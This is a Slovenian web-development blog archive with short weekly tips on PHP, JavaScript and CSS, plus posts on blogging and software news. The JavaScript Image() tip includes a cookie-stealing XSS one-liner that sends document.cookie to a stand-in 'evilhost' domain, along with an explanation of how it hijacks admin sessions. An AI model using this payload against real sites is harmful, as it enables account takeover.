[PHP] Trik tedna #15 – SQLite

PHP5 ima po privzeto vgrajen engine za SQLite, ki nam omogoča shranjevanje podatkov v datoteke z SQL queryji brez dodatnega database serverja. Prednosti je kar nekaj:

  • hitrost
  • enostavno prestavljanje/backupanje podatkov
  • ni potrebe po dodatnem DB serverju

Uporaba je podobna kot pri MySQL:

<?php
$datoteka = 'baza.sqlite';
$chmod_datoteke = 0666;
 
if(!$db = sqlite_open($datoteka, $chmod_datoteke, $sqliteerror))
{
    die($sqliteerror);
}
 
$result = sqlite_query($db, "SELECT * FROM tabela");
 
while($row = sqlite_fetch_array($result))
{
    echo $row[0] . PHP_EOL;
}
?>

Torej vse skupaj zelo podobno uporabi MySQLa, saj je samo začetek funkcij drugačen (sqlite_*), razlika je pa v tem, da nam ni treba izbirati baze (mysql_select_db()).

Zahteve:

  • PHP5 ali novejši
Posted in Programiranje, Spletno programiranje, Trik tedna | 2 Comments

[JavaScript] Trik tedna #14 – prototype

Vsi ki ste malce že malce več delali z JavaScript-om ste že nedvomno napisali kaj takšnega:

var bar = "neko besedilo";
var foo = bar.toUpperCase();

Kar bi vam moralo pasti v oči je metoda toUpperCase(), ki je ne uporabimo na klasičen način takole:

var foo = toUpperCase(bar);

No glede na to, da lahko do vgrajenih metod dostopamo na takšen način (gl. 1. primer) bi moral obstajati način da dodamo svoje metode. In res obstaja. Torej če želimo dodati objektu String našo prototype metodo moramo napisati nekaj takšnega:

String.prototype.imeMetode = function() {
    return this.substring(1, this.length - 1);
}
 
var bar = "(neko besedilo)";
var foo = bar.imeMetode();
// foo = "neko besedilo"

Tako smo class-u String dodali našo metodo, ki vrne podano besedilo brez prvega in zadnjega znaka.

In sedaj še obrazložitev zakaj hudiča bi bilo tole uporabno. Na kratko, ker se hitreje napiše in ker je razmišljanje bolj logično. Programerji pišemo metode večinoma tako, da najprej napišemo ime metode, nato oba oklepaja in nato se he potrebno vrniti nazaj, da vpišemo argument, še večja težava je, če moramo gnezditi metode, saj jih moramo pisati v obratnem vrstnem redu:

var rezultat = str.metoda1().metoda2().metoda3();
var rezultat = metoda3(metoda2(metoda1(str)));

Kater primer mislite da je bilo lažje napisati prvi ali drugi? Mislim da je odgovor jasen in uporabnost dokazana :P

Zahteve:

  • Brskalnik, ki podpira JavaScript
Posted in Programiranje, Spletno programiranje, Trik tedna | Leave a comment

[JavaScript] Trik tedna #13 – Image()

Ker sem v rubriki Trik tedna JavaScript precej zanemarjal, bom danes pokazal še en JavaScript trik.

V JavaScript vgrajen objekt Image lahko uporabimo za več stvari:

  • za preloading slik
  • za pošiljanje podatkov brez AJAX-a

Pa si najprej poglejmo kako se s tem objektom pošiljajo podatki.

function poslji(data) {
    var img = new Image();
    img.src = 'http://example.tld/?d=' + data;
}

Precej preprosto. Seveda pa je priporočljivo podatke zakodirati z urlencode algoritmom. Ta objekt velikokrat zlorabljajo tudi nepridipravi za XSS:”(Cross Site Scripting)”: napade, zato naj pokažem še kako se zadeva napiše malce bolj h4x0r friendly:

new/**/Image().src='http://evilhost.tld/?c='+document.cookie;

Zgornjo kodo bo potem nepridiprav v kodirani obliki npr. objavil na kakšnem forumu in nato beležil piškotke uporabnikov, ki bodo obiskali povezavo. Če bo imel srečo, bo ukradel tudi piškotek kakšnega administratorja in tako dobil dostop do celotne strani.

No pa preidimo k malce bolj legalnim zadevam. Objekt Image lahko uporabimo tudi kot preloader slik za kakšne onmouseover efekte.

function preloader(slika) {
    var img = new Image();
    img.src = slika;
    img.onload = function() {
        // tukaj lahko npr. GIF loaderja zamenjamo
        // z pravkar naloženo sliko
    }
    img.onerror = function() {
        // tukaj lahko npr. nastavimo nadomestno
        // sliko, ki se pojavi ob neuspehu
    }
}
 
window.onload = function() {
    // naštejemo slike, ki jih želimo preloadati
    preloader('slika1.jpg');
}

Zahteve:

  • Brskalnik, ki podpira JavaScript
Posted in Programiranje, Spletno programiranje, Trik tedna | 7 Comments

Italijani bodo obdavčili blogerje

Na slashdot-u se je pojavila novica, da imajo Italijani v pripravi zakon, ki bo urejal bloge.

Zakon pravi, da mora biti vsak blog oz. spletna stran registrirana, skrbnik mora plačevati davek, pa tudi če je spletna stran/blog neprofitna. Zakon prav tako obvezuje skrbnike, da morajo imeti za objavljanje vsebine registrirano podjetje…

Zakon sicer še ni bil potrjen s strani parlamenta, ampak če bo, bo najveretneje 99% blogerjev propadlo, to pa že nekako diši po cenzuri…

Natančneje si lahko o zakonu preberete tukajle.

Posted in Krneki, Smeh | 16 Comments

[CSS] Trik tedna #12 – height: 100%;

Tako, cel teden nisem pisal, ker nisem imel časa zaradi šole, ampak stalno rubriko je treba vzdrževati :) , tako bom danes pokazal majhen trik, ki vam omogoči, da tudi v XHTML uporabljate 100% višino.

V HTML4 smo lahko nastavljali 100% višino elementom brez problemov takole:

.moj-div {
    height: 100%;
    /* pobarvamo div, da ga lahko vidimo */ 
    background: green;
}
<div class="moj-div">neka vsebina...</div>

Ampak v XHTML zgornja koda ne deluje, rezultat je div, ki je širok eno vrstico. Zato se moramo poslužiti manjšega trika in dodati v CSS še tole:

html, body {
    margin: 0;
    height: 100%;
}

Zahteve:

  • testiral sem na Firefox2, Opera 9 ter IE7, delovati bi moralo tudi na starejših verzijah
Posted in Programiranje, Spletno programiranje, Trik tedna | 4 Comments

[JavaScript] Trik tedna #11 – document.getElementById na kratko

No, da ne bom govoril samo o PHP-ju sem se odločil da danes predstavim en preprost trik za JavaScript, ki lahko precej skrajša naše litanije, ki jih pišemo v JavaScript-u.

Verjetno ste že videli v kakšnem JavaScript Frameworku npr. jQuery-u, da imajo dostopanje do posameznih elementov v HTML-ju rešeno zelo elegantno:

<div id="id_elementa"></div>
<script type="text/javascript">
    $('#id_elementa').html('foo bar');
</script>

Ampak pri kakšnem manjšem projektu, kjer napišemo relativno malo JavaScript-a je škoda obremenjevati uporabnika s precej velikim jQuery-jem (~20kB), vseeno pa bi želeli na takšen način dostopati do elementov. No tukaj nas reši ena kratka funkcija:

function $(element) {
    if(typeof element == 'string') {
        element = document.getElementById(element);
    }
 
    return element;
}

Tako, sedaj lahko dostopamo do katerega koli id-ja tako da preprosto napišemo:

<div id="id_elementa"></div>
<script type="text/javascript">
    $('id_elementa').innerHTML = 'foo bar';
</script>

Kaj pa če želimo dostopati do elementa preko njegovega imena? Dodamo še eno funkcijo:

function _$(element) {
    if(typeof element == 'string') {
        element = document.getElementsByName(element);
    }
 
    return element;
}

In potem dostopamo do elementa takole:

<div name="ime_elementa"></div>
<script type="text/javascript">
    _$('ime_elementa')[0].innerHTML = 'foo bar';
</script>

P.S.:Ta trik sem uporabil tudi v praksi pri mojem PHP RegEx Editor-ju (script.js).

Zahteve:

  • Brskalnik, ki podpira JavaScript
Posted in Programiranje, Spletno programiranje, Trik tedna | 3 Comments

Pisanje komentarjev na blogih

Pisanje komentarjev na blogu je dejanje, ki nam blogerjem sporoča, da je naše pisanje zanimivo, da naš trud ni zamanj,… Ampak opažam, da dosti komentatorjev ne pozna par osnovnih metod, ki naredijo komentarje preglednejše ter opaznejše. Opazen komentar je pomemben predvsem za blogerje-komentatorje, saj je v njihovem interesu, da radoveden bralec komentarja klikne na ime komentatorja in pogleda še vsebino njegovega bloga.

Največkrat opažam, da komentatorji ne znajo citirati z HTML tagom <blockquote>, ampak namesto tega uporabljajo narekovaje oz. znak “>” pred stavkom, ki ga citirajo. In zakaj je bolje citirati z <blockquote>? Ker ta HTML tag citat odmakne od vsebine in tako se bolj razločno vidi, kaj je citirano in kaj je komentar na citat. Poleg tega pa ima dosti blog designov ta HTML tag posebej oblikovan, tako da še bolj izstopa npr. takole:

nek citat

Seveda je poleg <blockquote> HTML taga na voljo še nekaj drugih tagov, ki so bolj ali manj uporabni:


Source Output Opis
<a href="" title=""></a> link Povezava
<abbr title=""></abbr> npr. Okrajšava
<acronym title=""></acronym> WWW Akronim
<strong></strong> strong Krepko
<b></b> bold Krepko
<em></em> emphasized Poševno/poudarjeno
<strike></strike> strike Prečrtano
<code></code> code Koda

Naslednja stvar, ki je dosti komentatorjev ne pozna so smeški, ki so lahko ob zmerni uporabi v pomoč bralcu pri razumevanju besedila (npr. zraven sarkastičnega izpada prav gotovo spada tale smešek – :twisted: ). Seznam vseh default smeškov z njihovimi kodami v WordPressu je tukajle.

Seveda je pri dobrem komentarju pomembna tudi vsebina le-tega, saj ga bodo bralci ignorirali, če ne bo argumentiran, bo napisan v preveč pogovornem jeziku, bo poln kletvic itd.

Posted in Krneki | 8 Comments

[PHP] Trik tedna #10 – zamenjava vrednosti spremenljivk

Pri programiranju se včasih pojavi tudi potreba po zamenjavi vrednosti v spremenljivkah in po logiki bi zadevo opravili z začasno spremenljivko nekako takole:

<?php
$foo = 'vrednost1';
$bar = 'vrednost2';
 
$temp = $foo;
$foo  = $bar;
$bar  = $temp;
 
echo $foo; // izpiše "vrednost2"
echo $bar; // izpiše "vrednost1"
?>

Ampak v PHP-ju obstaja lažja pot, enovrstičnica, ki opravi delo treh vrstic:

<?php
$foo = 'vrednost1';
$bar = 'vrednost2';
 
list($bar, $foo) = array($foo, $bar);
 
echo $foo; // izpiše "vrednost2"
echo $bar; // izpiše "vrednost1"
?>

Drugi način je vsaj meni precej lažji, saj moram pri prvem načinu zmeraj razmišljati, kakšen vrstni red zamenjav uporabiti, pri drugem načinu pa uporabim samo nasproten vrstni red spremenljivk v funkcijah list() ter array() in je zadeva rešena.

Zahteve:

  • PHP4 ali novejši
Posted in Programiranje, Spletno programiranje, Trik tedna | Leave a comment

Internet Explorer sedaj brez WGA zaščite

Skoraj eno leto po izidu Internet Explorer-ja 7 so se pri Microsoft-u odločili za pohvalno potezo in sicer, da ponudijo javnosti instalacijo Internet Explorer-ja 7, ki ne bo preverjala, ali so vaši Windows-i Genuine:”WGA(Windows Genuine Advantage)”: ali ne.

Upam, da bodo sedaj uporabniki, ki nočejo preiti na Firefox iz neznanih razlogov, vsaj nadgradili IE6 na IE7, saj bodo s tem (nam) web developerjem prihranili veliko časa, ki ga porabimo za usklajevanje delovanja v vseh popularnih brskalnikih, pa tudi sami bodo na boljšem, ker ima IE7 kar nekaj bonbončkov :)

Posted in Software, Windows | Leave a comment

Backup vaših datotek na A4 list

Pozabite diskete, od sedaj naprej lahko shranjujete vaše podatke na list papirja s programom PaperBak. Z njim bi naj bilo možno shraniti do 3MB (z uporabo barv bi se verjetno dalo kapaciteto še povečati – ne vem zakaj tega še niso implementirali :P ) podatkov na en A4 list papirja.

Rezultat na A4 listu je množica pik (minimalno 3 vrstice), ki predstavljajo podatke, v različnih sivinah. Branje podatkov je enostavno – s skenerjem, ki vsebino prebere in jo nato preda programu PaperBak, ki sliko s posebnimi algoritmi obdela in vrne izvorno datoteko.

Sedaj se pa še seveda pojavi vprašanje, zakaj in kdaj bi bila takšna zadeva uporabna. Nedvomno bo vaš “cool faktor” zrasel, če boste k prijatelju uleteli z listom papirja v srajčnem žepu namesto diskete, ki postane neberljiva v stiku z močnejšim magnetom ali CD-ja, ki se kaj hitro spraska do neberljivosti. Zadeva zna uporabno izpasti tudi za pošiljanje datotek po faxu v kakšne zakotne kraje, kjer ni emailov :) .

Posted in Smeh, Software | 8 Comments